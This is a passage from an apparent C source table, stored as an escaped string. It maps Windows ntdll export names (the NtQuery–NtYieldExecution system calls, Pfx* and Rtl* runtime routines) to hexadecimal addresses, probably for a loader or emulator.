NULL},\n\t{\"NtQueryAttributesFile\", 0x0000D70E, NULL, NULL},\n\t{\"NtQueryBootEntryOrder\", 0x0000D71E, NULL, NULL},\n\t{\"NtQueryBootOptions\", 0x0000D72E, NULL, NULL},\n\t{\"NtQueryDebugFilterState\", 0x0000D73E, NULL, NULL},\n\t{\"NtQueryDefaultLocale\", 0x0000D74E, NULL, NULL},\n\t{\"NtQueryDefaultUILanguage\", 0x0000D75E, NULL, NULL},\n\t{\"NtQueryDirectoryFile\", 0x0000D76E, NULL, NULL},\n\t{\"NtQueryDirectoryObject\", 0x0000D77E, NULL, NULL},\n\t{\"NtQueryEaFile\", 0x0000D78E, NULL, NULL},\n\t{\"NtQueryEvent\", 0x0000D79E, NULL, NULL},\n\t{\"NtQueryFullAttributesFile\", 0x0000D7AE, NULL, NULL},\n\t{\"NtQueryInformationAtom\", 0x0000D7BE, NULL, NULL},\n\t{\"NtQueryInformationFile\", 0x0000D7CE, NULL, NULL},\n\t{\"NtQueryInformationJobObject\", 0x0000D7DE, NULL, NULL},\n\t{\"NtQueryInformationPort\", 0x0000D7EE, NULL, NULL},\n\t{\"NtQueryInformationProcess\", 0x0000D7FE, NULL, NULL},\n\t{\"NtQueryInformationThread\", 0x0000D80E, NULL, NULL},\n\t{\"NtQueryInformationToken\", 0x0000D81E, NULL, NULL},\n\t{\"NtQueryInstallUILanguage\", 0x0000D82E, NULL, NULL},\n\t{\"NtQueryIntervalProfile\", 0x0000D83E, NULL, NULL},\n\t{\"NtQueryIoCompletion\", 0x0000D84E, NULL, NULL},\n\t{\"NtQueryKey\", 0x0000D85E, NULL, NULL},\n\t{\"NtQueryMultipleValueKey\", 0x0000D86E, NULL, NULL},\n\t{\"NtQueryMutant\", 0x0000D87E, NULL, NULL},\n\t{\"NtQueryObject\", 0x0000D88E, NULL, NULL},\n\t{\"NtQueryOpenSubKeys\", 0x0000D89E, NULL, NULL},\n\t{\"NtQueryPerformanceCounter\", 0x0000D8AE, NULL, NULL},\n\t{\"NtQueryPortInformationProcess\", 0x0000E00E, NULL, NULL},\n\t{\"NtQueryQuotaInformationFile\", 0x0000D8BE, NULL, NULL},\n\t{\"NtQuerySection\", 0x0000D8CE, NULL, NULL},\n\t{\"NtQuerySecurityObject\", 0x0000D8DE, NULL, NULL},\n\t{\"NtQuerySemaphore\", 0x0000D8EE, NULL, NULL},\n\t{\"NtQuerySymbolicLinkObject\", 0x0000D8FE, NULL, NULL},\n\t{\"NtQuerySystemEnvironmentValue\", 0x0000D90E, NULL, NULL},\n\t{\"NtQuerySystemEnvironmentValueEx\", 0x0000D91E, NULL, NULL},\n\t{\"NtQuerySystemInformation\", 0x0000D92E, NULL, NULL},\n\t{\"NtQuerySystemTime\", 0x0000D93E, NULL, NULL},\n\t{\"NtQueryTimer\", 0x0000D94E, NULL, NULL},\n\t{\"NtQueryTimerResolution\", 0x0000D95E, NULL, NULL},\n\t{\"NtQueryValueKey\", 0x0000D96E, NULL, NULL},\n\t{\"NtQueryVirtualMemory\", 0x0000D97E, NULL, NULL},\n\t{\"NtQueryVolumeInformationFile\", 0x0000D98E, NULL, NULL},\n\t{\"NtQueueApcThread\", 0x0000D99E, NULL, NULL},\n\t{\"NtRaiseException\", 0x0000D9AE, NULL, NULL},\n\t{\"NtRaiseHardError\", 0x0000D9BE, NULL, NULL},\n\t{\"NtReadFile\", 0x0000D9CE, NULL, NULL},\n\t{\"NtReadFileScatter\", 0x0000D9DE, NULL, NULL},\n\t{\"NtReadRequestData\", 0x0000D9EE, NULL, NULL},\n\t{\"NtReadVirtualMemory\", 0x0000D9FE, NULL, NULL},\n\t{\"NtRegisterThreadTerminatePort\", 0x0000DA0E, NULL, NULL},\n\t{\"NtReleaseKeyedEvent\", 0x0000DFEE, NULL, NULL},\n\t{\"NtReleaseMutant\", 0x0000DA1E, NULL, NULL},\n\t{\"NtReleaseSemaphore\", 0x0000DA2E, NULL, NULL},\n\t{\"NtRemoveIoCompletion\", 0x0000DA3E, NULL, NULL},\n\t{\"NtRemoveProcessDebug\", 0x0000DA4E, NULL, NULL},\n\t{\"NtRenameKey\", 0x0000DA5E, NULL, NULL},\n\t{\"NtReplaceKey\", 0x0000DA6E, NULL, NULL},\n\t{\"NtReplyPort\", 0x0000DA7E, NULL, NULL},\n\t{\"NtReplyWaitReceivePort\", 0x0000DA8E, NULL, NULL},\n\t{\"NtReplyWaitReceivePortEx\", 0x0000DA9E, NULL, NULL},\n\t{\"NtReplyWaitReplyPort\", 0x0000DAAE, NULL, NULL},\n\t{\"NtRequestDeviceWakeup\", 0x0000DABE, NULL, NULL},\n\t{\"NtRequestPort\", 0x0000DACE, NULL, NULL},\n\t{\"NtRequestWaitReplyPort\", 0x0000DADE, NULL, NULL},\n\t{\"NtRequestWakeupLatency\", 0x0000DAEE, NULL, NULL},\n\t{\"NtResetEvent\", 0x0000DAFE, NULL, NULL},\n\t{\"NtResetWriteWatch\", 0x0000DB0E, NULL, NULL},\n\t{\"NtRestoreKey\", 0x0000DB1E, NULL, NULL},\n\t{\"NtResumeProcess\", 0x0000DB2E, NULL, NULL},\n\t{\"NtResumeThread\", 0x0000DB3E, NULL, NULL},\n\t{\"NtSaveKey\", 0x0000DB4E, NULL, NULL},\n\t{\"NtSaveKeyEx\", 0x0000DB5E, NULL, NULL},\n\t{\"NtSaveMergedKeys\", 0x0000DB6E, NULL, NULL},\n\t{\"NtSecureConnectPort\", 0x0000DB7E, NULL, NULL},\n\t{\"NtSetBootEntryOrder\", 0x0000DB8E, NULL, NULL},\n\t{\"NtSetBootOptions\", 0x0000DB9E, NULL, NULL},\n\t{\"NtSetContextThread\", 0x0000DBAE, NULL, NULL},\n\t{\"NtSetDebugFilterState\", 0x0000DBBE, NULL, NULL},\n\t{\"NtSetDefaultHardErrorPort\", 0x0000DBCE, NULL, NULL},\n\t{\"NtSetDefaultLocale\", 0x0000DBDE, NULL, NULL},\n\t{\"NtSetDefaultUILanguage\", 0x0000DBEE, NULL, NULL},\n\t{\"NtSetEaFile\", 0x0000DBFE, NULL, NULL},\n\t{\"NtSetEvent\", 0x0000DC0E, NULL, NULL},\n\t{\"NtSetEventBoostPriority\", 0x0000DC1E, NULL, NULL},\n\t{\"NtSetHighEventPair\", 0x0000DC2E, NULL, NULL},\n\t{\"NtSetHighWaitLowEventPair\", 0x0000DC3E, NULL, NULL},\n\t{\"NtSetInformationDebugObject\", 0x0000DC4E, NULL, NULL},\n\t{\"NtSetInformationFile\", 0x0000DC5E, NULL, NULL},\n\t{\"NtSetInformationJobObject\", 0x0000DC6E, NULL, NULL},\n\t{\"NtSetInformationKey\", 0x0000DC7E, NULL, NULL},\n\t{\"NtSetInformationObject\", 0x0000DC8E, NULL, NULL},\n\t{\"NtSetInformationProcess\", 0x0000DC9E, NULL, NULL},\n\t{\"NtSetInformationThread\", 0x0000DCAE, NULL, NULL},\n\t{\"NtSetInformationToken\", 0x0000DCBE, NULL, NULL},\n\t{\"NtSetIntervalProfile\", 0x0000DCCE, NULL, NULL},\n\t{\"NtSetIoCompletion\", 0x0000DCDE, NULL, NULL},\n\t{\"NtSetLdtEntries\", 0x0000DCEE, NULL, NULL},\n\t{\"NtSetLowEventPair\", 0x0000DCFE, NULL, NULL},\n\t{\"NtSetLowWaitHighEventPair\", 0x0000DD0E, NULL, NULL},\n\t{\"NtSetQuotaInformationFile\", 0x0000DD1E, NULL, NULL},\n\t{\"NtSetSecurityObject\", 0x0000DD2E, NULL, NULL},\n\t{\"NtSetSystemEnvironmentValue\", 0x0000DD3E, NULL, NULL},\n\t{\"NtSetSystemEnvironmentValueEx\", 0x0000DD4E, NULL, NULL},\n\t{\"NtSetSystemInformation\", 0x0000DD5E, NULL, NULL},\n\t{\"NtSetSystemPowerState\", 0x0000DD6E, NULL, NULL},\n\t{\"NtSetSystemTime\", 0x0000DD7E, NULL, NULL},\n\t{\"NtSetThreadExecutionState\", 0x0000DD8E, NULL, NULL},\n\t{\"NtSetTimer\", 0x0000DD9E, NULL, NULL},\n\t{\"NtSetTimerResolution\", 0x0000DDAE, NULL, NULL},\n\t{\"NtSetUuidSeed\", 0x0000DDBE, NULL, NULL},\n\t{\"NtSetValueKey\", 0x0000DDCE, NULL, NULL},\n\t{\"NtSetVolumeInformationFile\", 0x0000DDDE, NULL, NULL},\n\t{\"NtShutdownSystem\", 0x0000DDEE, NULL, NULL},\n\t{\"NtSignalAndWaitForSingleObject\", 0x0000DDFE, NULL, NULL},\n\t{\"NtStartProfile\", 0x0000DE0E, NULL, NULL},\n\t{\"NtStopProfile\", 0x0000DE1E, NULL, NULL},\n\t{\"NtSuspendProcess\", 0x0000DE2E, NULL, NULL},\n\t{\"NtSuspendThread\", 0x0000DE3E, NULL, NULL},\n\t{\"NtSystemDebugControl\", 0x0000DE4E, NULL, NULL},\n\t{\"NtTerminateJobObject\", 0x0000DE5E, NULL, NULL},\n\t{\"NtTerminateProcess\", 0x0000DE6E, NULL, NULL},\n\t{\"NtTerminateThread\", 0x0000DE7E, NULL, NULL},\n\t{\"NtTestAlert\", 0x0000DE8E, NULL, NULL},\n\t{\"NtTraceEvent\", 0x0000DE9E, NULL, NULL},\n\t{\"NtTranslateFilePath\", 0x0000DEAE, NULL, NULL},\n\t{\"NtUnloadDriver\", 0x0000DEBE, NULL, NULL},\n\t{\"NtUnloadKey\", 0x0000DECE, NULL, NULL},\n\t{\"NtUnloadKeyEx\", 0x0000DEDE, NULL, NULL},\n\t{\"NtUnlockFile\", 0x0000DEEE, NULL, NULL},\n\t{\"NtUnlockVirtualMemory\", 0x0000DEFE, NULL, NULL},\n\t{\"NtUnmapViewOfSection\", 0x0000DF0E, NULL, NULL},\n\t{\"NtVdmControl\", 0x0000DF1E, NULL, NULL},\n\t{\"NtWaitForDebugEvent\", 0x0000DF2E, NULL, NULL},\n\t{\"NtWaitForKeyedEvent\", 0x0000DFFE, NULL, NULL},\n\t{\"NtWaitForMultipleObjects\", 0x0000DF3E, NULL, NULL},\n\t{\"NtWaitForSingleObject\", 0x0000DF4E, NULL, NULL},\n\t{\"NtWaitHighEventPair\", 0x0000DF5E, NULL, NULL},\n\t{\"NtWaitLowEventPair\", 0x0000DF6E, NULL, NULL},\n\t{\"NtWriteFile\", 0x0000DF7E, NULL, NULL},\n\t{\"NtWriteFileGather\", 0x0000DF8E, NULL, NULL},\n\t{\"NtWriteRequestData\", 0x0000DF9E, NULL, NULL},\n\t{\"NtWriteVirtualMemory\", 0x0000DFAE, NULL, NULL},\n\t{\"NtYieldExecution\", 0x0000DFBE, NULL, NULL},\n\t{\"PfxFindPrefix\", 0x0005C499, NULL, NULL},\n\t{\"PfxInitialize\", 0x0005C151, NULL, NULL},\n\t{\"PfxInsertPrefix\", 0x0005C3B6, NULL, NULL},\n\t{\"PfxRemovePrefix\", 0x0005C16F, NULL, NULL},\n\t{\"RtlAbortRXact\", 0x0002B1B1, NULL, NULL},\n\t{\"RtlAbsoluteToSelfRelativeSD\", 0x00029A19, NULL, NULL},\n\t{\"RtlAcquirePebLock\", 0x0001040D, NULL, NULL},\n\t{\"RtlAcquireResourceExclusive\", 0x0002A096, NULL, NULL},\n\t{\"RtlAcquireResourceShared\", 0x00029FBF, NULL, NULL},\n\t{\"RtlActivateActivationContext\", 0x00017803, NULL, NULL},\n\t{\"RtlActivateActivationContextEx\", 0x0001767D, NULL, NULL},\n\t{\"RtlActivateActivationContextUnsafeFast\", 0x00001198, NULL, NULL},\n\t{\"RtlAddAccessAllowedAce\", 0x0001883B, NULL, NULL},\n\t{\"RtlAddAccessAllowedAceEx\", 0x00029A49, NULL, NULL},\n\t{\"RtlAddAccessAllowedObjectAce\", 0x0005C8A3, NULL, NULL},\n\t{\"RtlAddAccessDeniedAce\", 0x0002DBEB, NULL, NULL},\n\t{\"RtlAddAccessDeniedAceEx\", 0x0005C847, NULL, NULL},\n\t{\"RtlAddAccessDeniedObjectAce\", 0x0005C8F0, NULL, NULL},\n\t{\"RtlAddAce\", 0x0002B580, NULL, NULL},\n\t{\"RtlAddActionToRXact\", 0x0002E8BD, NULL, NULL},\n\t{\"RtlAddAtomToAtomTable\", 0x0003472A, NULL, NULL},\n\t{\"RtlAddAttributeActionToRXact\", 0x0002E65E, NULL, NULL},\n\t{\"RtlAddAuditAccessAce\", 0x0003002D, NULL, NULL},\n\t{\"RtlAddAuditAccessAceEx\", 0x0005C86B, NULL, NULL},\n\t{\"RtlAddAuditAccessObjectAce\", 0x0005C93E, NULL, NULL},\n\t{\"RtlAddCompoundAce\", 0x0005C603, NULL, NULL},\n\t{\"RtlAddRange\", 0x0005D896, NULL, NULL},\n\t{\"RtlAddRefActivationContext\", 0x0000FBD2, NULL, NULL},\n\t{\"RtlAddRefMemoryStream\", 0x000205A1, NULL, NULL},\n\t{\"RtlAddVectoredExceptionHandler\", 0x00036C2A, NULL, NULL},\n\t{\"RtlAddressInSectionTable\", 0x000128A5, NULL, NULL},\n\t{\"RtlAdjustPrivilege\", 0x00029A6D, NULL, NULL},\n\t{\"RtlAllocateAndInitializeSid\", 0x0001888B, NULL, NULL},\n\t{\"RtlAllocateHandle\", 0x00019394, NULL, NULL},\n\t{\"RtlAllocateHeap\", 0x000100C4, NULL, NULL},\n\t{\"RtlAnsiCharToUnicodeChar\", 0x00018199, NULL, NULL},\n\t{\"RtlAnsiStringToUnicodeSize\", 0x0005F4C8, NULL, NULL},\n\t{\"RtlAnsiStringToUnicodeString\", 0x0000EB3B, NULL, NULL},\n\t{\"RtlAppendAsciizToString\", 0x0005F832, NULL, NULL},\n\t{\"RtlAppendPathElement\", 0x0001D4DD, NULL, NULL},\n\t{\"RtlAppendStringToString\", 0x0005F88D, NULL, NULL},\n\t{\"RtlAppendUnicodeStringToString\", 0x00014FAF, NULL, NULL},\n\t{\"RtlAppendUnicodeToString\", 0x00014F3A, NULL, NULL},\n\t{\"RtlApplicationVerifierStop\", 0x000566E5, NULL, NULL},\n\t{\"RtlApplyRXact\", 0x0002E839, NULL, NULL},\n\t{\"RtlApplyRXactNoFlush\", 0x0002EDF0, NULL, NULL},\n\t{\"RtlAreAllAccessesGranted\", 0x0002A04B, NULL, NULL},\n\t{\"RtlAreAnyAccessesGranted\", 0x00038124, NULL, NULL},\n\t{\"RtlAreBitsClear\", 0x0005FEB7, NULL, NULL},\n\t{\"RtlAreBitsSet\", 0x00026707, NULL, NULL},\n\t{\"RtlAssert2\", 0x0006028B, NULL, NULL},\n\t{\"RtlAssert\", 0x00060499, NULL, NULL},\n\t{\"RtlCancelTimer\", 0x000606E1, NULL, NULL},\n\t{\"RtlCaptureContext\", 0x0000331A, NULL, NULL},\n\t{\"RtlCaptureStackBackTrace\", 0x000609A1, NULL, NULL},\n\t{\"RtlCaptureStackContext\", 0x000608A1, NULL, NULL},\n\t{\"RtlCharToInteger\", 0x00033BC0, NULL, NULL},\n\t{\"RtlCheckForOrphanedCriticalSections\", 0x00013AB3, NULL, NULL},\n\t{\"RtlCheckProcessParameters\", 0x000301C7, NULL, NULL},\n\t{\"RtlCheckRegistryKey\", 0x0002FAB3, NULL, NULL},\n\t{\"RtlClearAllBits\", 0x0002C1CB, NULL, NULL},\n\t{\"RtlClearBits\", 0x000266C1, NULL, NULL},\n\t{\"RtlCloneMemoryStream\", 0x0005370D, NULL, NULL},\n\t{\"RtlCommitMemoryStream\", 0x0005370D, NULL, NULL},\n\t{\"RtlCompactHeap\", 0x000361D7, NULL, NULL},\n\t{\"RtlCompareMemory\", 0x00002B53, NULL, NULL},\n\t{\"RtlCompareMemoryUlong\", 0x00002BA3, NULL, NULL},\n\t{\"RtlCompareString\", 0x0005F756, NULL, NULL},\n\t{\"RtlCompareUnicodeString\", 0x000179A8, NULL, NULL},\n\t{\"RtlCompressBuffer\", 0x00062A9D, NULL, NULL},\n\t{\"RtlComputeCrc32\", 0x00062CE1, NULL, NULL},\n\t{\"RtlComputeImportTableHash\", 0x000596CF, NULL, NULL},\n\t{\"RtlComputePrivatizedDllName_U\", 0x000532FB, NULL, NULL},\n\t{\"RtlConsoleMultiByteToUnicodeN\", 0x00024EA5, NULL, NULL},\n\t{\"RtlConvertExclusiveToShared\", 0x0002CC10, NULL, NULL},\n\t{\"RtlConvertLongToLargeInteger\", 0x00003236, NULL, NULL},\n\t{\"RtlConvertSharedToExclusive\", 0x0002CBCE, NULL, NULL},\n\t{\"RtlConvertSidToUnicodeString\", 0x00014C55, NULL, NULL},\n\t{\"RtlConvertToAutoInheritSecurityObject\", 0x00053CC0, NULL, NULL},\n\t{\"RtlConvertUiListToApiList\", 0x00053FD2, NULL, NULL},\n\t{\"RtlConvertUlongToLargeInteger\", 0x0000323E, NULL, NULL},\n\t{\"RtlCopyLuid\", 0x0001314C, NULL, NULL},\n\t{\"RtlCopyLuidAndAttributesArray\", 0x0005DDC3, NULL, NULL},\n\t{\"RtlCopyMemoryStreamTo\", 0x0005367F, NULL, NULL},\n\t{\"RtlCopyOutOfProcessMemoryStreamTo\", 0x00053700, NULL, NULL},\n\t{\"RtlCopyRangeList\", 0x0005D0AD, NULL, NULL},\n\t{\"RtlCopySecurityDescriptor\", 0x0002C3E4, NULL, NULL},\n\t{\"RtlCopySid\", 0x0001316A, NULL, NULL},\n\t{\"RtlCopySidAndAttributesArray\", 0x0005DC01, NULL, NULL},\n\t{\"RtlCopyString\", 0x0002D1DE, NULL, NULL},\n\t{\"RtlCopyUnicodeString\", 0x00014ED9, NULL, NULL},\n\t{\"RtlCreateAcl\", 0x000187E9, NULL, NULL},\n\t{\"RtlCreateActivationContext\", 0x00020AD5, NULL, NULL},\n\t{\"RtlCreateAndSetSD\", 0x0002EEE9, NULL, NULL},\n\t{\"RtlCreateAtomTable\", 0x0003491A, NULL, NULL},\n\t{\"RtlCreateBootStatusDataFile\", 0x0006311D, NULL, NULL},\n\t{\"RtlCreateEnvironment\", 0x0002CA99, NULL, NULL},\n\t{\"RtlCreateHeap\", 0x00025C82, NULL, NULL},\n\t{\"RtlCreateProcessParameters\", 0x00022E99, NULL, NULL},\n\t{\"RtlCreateQueryDebugBuffer\", 0x00054570, NULL, NULL},\n\t{\"RtlCreateRegistryKey\", 0x00060EF0, NULL, NULL},\n\t{\"RtlCreateSecurityDescriptor\", 0x00018651, NULL, NULL},\n\t{\"RtlCreateServiceSid\", 0x0005DC95, NULL, NULL},\n\t{\"RtlCreateSystemVolumeInformationFolder\", 0x000638E9, NULL, NULL},\n\t{\"RtlCreateTagHeap\", 0x00022254, NULL, NULL},\n\t{\"RtlCreateTimer\", 0x0002CD60, NULL, NULL},\n\t{\"RtlCreateTimerQueue\", 0x0002DB03, NULL, NULL},\n\t{\"RtlCreateUnicodeString\", 0x00013432, NULL, NULL},\n\t{\"RtlCreateUnicodeStringFromAsciiz\", 0x00013079, NULL, NULL},\n\t{\"RtlCreateUserProcess\", 0x000305AB, NULL, NULL},\n\t{\"RtlCreateUserSecurityObject\", 0x0002EE71, NULL, NULL},\n\t{\"RtlCreateUserThread\", 0x0002DF9A, NULL, NULL},\n\t{\"RtlCustomCPToUnicodeN\", 0x0005B54E, NULL, NULL},\n\t{\"RtlCutoverTimeToSystemTime\", 0x00031A7D, NULL, NULL},\n\t{\"RtlDeNormalizeProcessParams\", 0x00022DEB, NULL, NULL},\n\t{\"RtlDeactivateActivationContext\", 0x000178DF, NULL, NULL},\n\t{\"RtlDeactivateActivationContextUnsafeFast\", 0x000011DD, NULL, NULL},\n\t{\"RtlDebugPrintTimes\", 0x000604FC, NULL, NULL},\n\t{\"RtlDecodePointer\", 0x00013425, NULL, NULL},\n\t{\"RtlDecodeSystemPointer\", 0x00018A98, NULL, NULL},\n\t{\"RtlDecompressBuffer\", 0x00062B19, NULL, NULL},\n\t{\"RtlDecompressFragment\", 0x00062B85, NULL, NULL},\n\t{\"RtlDefaultNpAcl\", 0x00053CD0, NULL, NULL},\n\t{\"RtlDelete\", 0x00024CE1, NULL, NULL},\n\t{\"RtlDeleteAce\", 0x00038151, NULL, NULL},\n\t{\"RtlDeleteAtomFromAtomTable\", 0x0003407E, NULL, NULL},\n\t{\"RtlDeleteCriticalSection\", 0x0001137A, NULL, NULL},\n\t{\"RtlDeleteElementGenericTable\", 0x00024C80, NULL, NULL},\n\t{\"RtlDeleteElementGenericTableAvl\", 0x0006423C, NULL, NULL},\n\t{\"RtlDeleteNoSplay\", 0x00063C54, NULL, NULL},\n\t{\"RtlDeleteOwnersRanges\", 0x0005DA5E, NULL, NULL},\n\t{\"RtlDeleteRange\", 0x0005D921, NULL, NULL},\n\t{\"RtlDeleteRegistryValue\", 0x00030FFC, NULL, NULL},\n\t{\"RtlDeleteResource\", 0x00023CFB, NULL, NULL},\n\t{\"RtlDeleteSecurityObject\", 0x0002A1E3, NULL, NULL},\n\t{\"RtlDeleteTimer\", 0x00033462, NULL, NULL},\n\t{\"RtlDeleteTimerQueue\", 0x000606B9, NULL, NULL},\n\t{\"RtlDeleteTimerQueueEx\", 0x000605B1, NULL, NULL},\n\t{\"RtlDeregisterWait\", 0x000315DA, NULL, NULL},\n\t{\"RtlDeregisterWaitEx\", 0x000312B2, NULL, NULL},\n\t{\"RtlDestroyAtomTable\", 0x0005C9D2, NULL, NULL},\n\t{\"RtlDestroyEnvironment\", 0x00023962, NULL, NULL},\n\t{\"RtlDestroyHandleTable\", 0x00023B45, NULL, NULL},\n\t{\"RtlDestroyHeap\", 0x000264EE, NULL, NULL},\n\t{\"RtlDestroyProcessParameters\", 0x00022DC4, NULL, NULL},\n\t{\"RtlDestroyQueryDebugBuffer\", 0x00054658, NULL, NULL},\n\t{\"RtlDetermineDosPathNameType_U\", 0x00013B8A, NULL, NULL},\n\t{\"RtlDllShutdownInProgress\", 0x000136D0, NULL, NULL},\n\t{\"RtlDnsHostNameToComputerName\", 0x00030ED3, NULL, NULL},\n\t{\"RtlDoesFileExists_U\", 0x000199D8, NULL, NULL},\n\t{\"RtlDosApplyFileIsolationRedirection_Ustr\", 0x0001599B, NULL, NULL},\n\t{\"RtlDosPathNameToNtPathName_U\", 0x000142F5, NULL, NULL},\n\t{\"RtlDosSearchPath_U\", 0x00016FF9, NULL, NULL},\n\t{\"RtlDosSearchPath_Ustr\", 0x00018C11, NULL, NULL},\n\t{\"RtlDowncaseUnicodeChar\", 0x0005F446, NULL, NULL},\n\t{\"RtlDowncaseUnicodeString\", 0x00029B1A, NULL, NULL},\n\t{\"RtlDumpResource\", 0x00053724, NULL, NULL},\n\t{\"RtlDuplicateUnicodeString\", 0x00020F3B, NULL, NULL},\n\t{\"RtlEmptyAtomTable\", 0x0005CAA9, NULL, NULL},\n\t{\"RtlEnableEarlyCriticalSectionEventCreation\", 0x000537DD, NULL, NULL},\n\t{\"RtlEncodePointer\", 0x000133FF, NULL, NULL},\n\t{\"RtlEncodeSystemPointer\", 0x00018A98, NULL, NULL},\n\t{\"RtlEnlargedIntegerMultiply\", 0x00003016, NULL, NULL},\n\t{\"RtlEnlargedUnsignedDivide\", 0x0000302E, NULL, NULL},\n\t{\"RtlEnlargedUnsignedMultiply\", 0x00003022, NULL, NULL},\n\t{\"RtlEnterCriticalSection\", 0x00001000, NULL, NULL},\n\t{\"RtlEnumProcessHeaps\", 0x00061889, NULL, NULL},\n\t{\"RtlEnumerateGenericTable\", 0x00063D5D, NULL, NULL},\n\t{\"RtlEnumerateGenericTableAvl\", 0x00030064, NULL, NULL},\n\t{\"RtlEnumerateGenericTableLikeADirectory\", 0x000642C6, NULL, NULL},\n\t{\"RtlEnumerateGenericTableWithoutSplaying\", 0x0001E314, NULL, NULL},\n\t{\"RtlEnumerateGenericTableWithoutSplayingAvl\", 0x00030089, NULL, NULL},\n\t{\"RtlEqualComputerName\", 0x0005F746, NULL, NULL},\n\t{\"RtlEqualDomainName\", 0x0002B466, NULL, NULL},\n\t{\"RtlEqualLuid\", 0x0005DD9A, NULL, NULL},\n\t{\"RtlEqualPrefixSid\", 0x00032F94, NULL, NULL},\n\t{\"RtlEqualSid\", 0x0001824C, NULL, NULL},\n\t{\"RtlEqualString\", 0x000135D6, NULL, NULL},\n\t{\"RtlEqualUnicodeString\", 0x00012EBB, NULL, NULL},\n\t{\"RtlEraseUnicodeString\", 0x0002EE2E, NULL, NULL},\n\t{\"RtlExitUserThread\", 0x000633D3, NULL, NULL},\n\t{\"RtlExpandEnvironmentStrings_U\", 0x000146CA, NULL, NULL},\n\t{\"RtlExtendHeap\", 0x000615C9, NULL, NULL},\n\t{\"RtlExtendedIntegerMultiply\", 0x0000313A, NULL, NULL},\n\t{\"RtlExtendedLargeIntegerDivide\", 0x0000304E, NULL, NULL},\n\t{\"RtlExtendedMagicDivide\", 0x000030AA, NULL, NULL},\n\t{\"RtlFillMemory\", 0x00002BD3, NULL, NULL},\n\t{\"RtlFillMemoryUlong\", 0x00002C43, NULL, NULL},\n\t{\"RtlFinalReleaseOutOfProcessMemoryStream\", 0x00020E3E, NULL, NULL},\n\t{\"RtlFindActivationContextSectionGuid\", 0x00028D0E, NULL, NULL},\n\t{\"RtlFindActivationContextSectionString\", 0x00015511, NULL, NULL},\n\t{\"RtlFindCharInUnicodeString\", 0x00015D61, NULL, NULL},\n\t{\"RtlFindClearBits\", 0x0002635D, NULL, NULL},\n\t{\"RtlFindClearBitsAndSet\", 0x00026425, NULL, NULL},\n\t{\"RtlFindClearRuns\", 0x0005FB92, NULL, NULL},\n\t{\"RtlFindLastBackwardRunClear\", 0x00060034, NULL, NULL},\n\t{\"RtlFindLeastSignificantBit\", 0x000601AF, NULL, NULL},\n\t{\"RtlFindLongestRunClear\", 0x0005FDD9, NULL, NULL},\n\t{\"RtlFindMessage\", 0x00035029, NULL, NULL},\n\t{\"RtlFindMostSignificantBit\", 0x00060104, NULL, NULL},\n\t{\"RtlFindNextForwardRunClear\", 0x0005FF3A, NULL, NULL},\n\t{\"RtlFindRange\", 0x0005D200, NULL, NULL},\n\t{\"RtlFindSetBits\", 0x0005F8E1, NULL, NULL},\n\t{\"RtlFindSetBitsAndClear\", 0x00060258, NULL, NULL},\n\t{\"RtlFirstEntrySList\", 0x00002AF8, NULL, NULL},\n\t{\"RtlFirstFreeAce\", 0x000186DA, NULL, NULL},\n\t{\"RtlFlushSecureMemoryCache\", 0x000643F2, NULL, NULL},\n\t{\"RtlFormatCurrentUserKeyPath\", 0x00015019, NULL, NULL},\n\t{\"RtlFormatMessage\", 0x000293E4, NULL, NULL},\n\t{\"RtlFreeAnsiString\", 0x00010466, NULL, NULL},\n\t{\"RtlFreeHandle\", 0x0001333F, NULL, NULL},\n\t{\"RtlFreeHeap\", 0x0000FF2D, NULL, NULL},\n\t{\"RtlFreeOemString\", 0x0002B4C3, NULL, NULL},\n\t{\"RtlFreeRangeList\", 0x0005CE44, NULL, NULL},\n\t{\"RtlFreeSid\", 0x0001885E, NULL, NULL},\n\t{\"RtlFreeThreadActivationContextStack\", 0x0001392D, NULL, NULL},\n\t{\"RtlFreeUnicodeString\", 0x00010466, NULL, NULL},\n\t{\"RtlFreeUserThreadStack\", 0x000633FD, NULL, NULL},\n\t{\"RtlGUIDFromString\", 0x00026CA0, NULL, NULL},\n\t{\"RtlGenerate8dot3Name\", 0x00064860, NULL, NULL},\n\t{\"RtlGetAce\", 0x00034EE9, NULL, NULL},\n\t{\"RtlGetActiveActivationContext\", 0x0001C5CB, NULL, NULL},\n\t{\"RtlGetCallersAddress\", 0x00060A5A, NULL, NULL},\n\t{\"RtlGetCompressionWorkSpaceSize\", 0x00062A31, NULL, NULL},\n\t{\"RtlGetControlSecurityDescriptor\", 0x0002A1B5, NULL, NULL},\n\t{\"RtlGetCurrentDirectory_U\", 0x00014506, NULL, NULL},\n\t{\"RtlGetCurrentPeb\", 0x00060EE1, NULL, NULL},\n\t{\"RtlGetDaclSecurityDescriptor\", 0x0001379F, NULL, NULL},\n\t{\"RtlGetElementGenericTable\", 0x00063CD4, NULL, NULL},\n\t{\"RtlGetElementGenericTableAvl\", 0x000640C7, NULL, NULL},\n\t{\"RtlGetFirstRange\", 0x0005CE89, NULL, NULL},\n\t{\"RtlGetFrame\", 0x000204A1, NULL, NULL},\n\t{\"RtlGetFullPathName_U\", 0x000143A9, NULL, NULL},\n\t{\"RtlGetGroupSecurityDescriptor\", 0x0002B427, NULL, NULL},\n\t{\"RtlGetLastNtStatus\", 0x00064C4D, NULL, NULL},\n\t{\"RtlGetLastWin32Error\", 0x0000FE21, NULL, NULL},\n\t{\"RtlGetLengthWithoutLastFullDosOrNtPathElement\", 0x00020779, NULL, NULL},\n\t{\"RtlGetLengthWithoutTrailingPathSeperators\", 0x0002F30D, NULL, NULL},\n\t{\"RtlGetLongestNtPathLength\", 0x000149D9, NULL, NULL},\n\t{\"RtlGetNativeSystemInformation\", 0x0000D92E, NULL, NULL},\n\t{\"RtlGetNextRange\", 0x0005CF41, NULL, NULL},\n\t{\"RtlGetNtGlobalFlags\", 0x0000FF1B, NULL, NULL},\n\t{\"RtlGetNtProductType\", 0x00019758, NULL, NULL},\n\t{\"RtlGetNtVersionNumbers\", 0x0002132F, NULL, NULL},\n\t{\"RtlGetOwnerSecurityDescriptor\", 0x0002B3E5, NULL, NULL},\n\t{\"RtlGetProcessHeaps\", 0x000617D1, NULL, NULL},\n\t{\"RtlGetSaclSecurityDescriptor\", 0x0005DDF2, NULL, NULL},\n\t{\"RtlGetSecurityDescriptorRMControl\", 0x0005E04D, NULL, NULL},\n\t{\"RtlGetSetBootStatusData\", 0x00030441, NULL, NULL},\n\t{\"RtlGetUnloadEventTrace\", 0x000524CB, NULL, NULL},\n\t{\"RtlGetUserInfoHeap\", 0x00013862, NULL, NULL},\n\t{\"RtlGetVersion\", 0x0001966B, NULL, NULL},\n\t{\"RtlHashUnicodeString\", 0x0001565D, 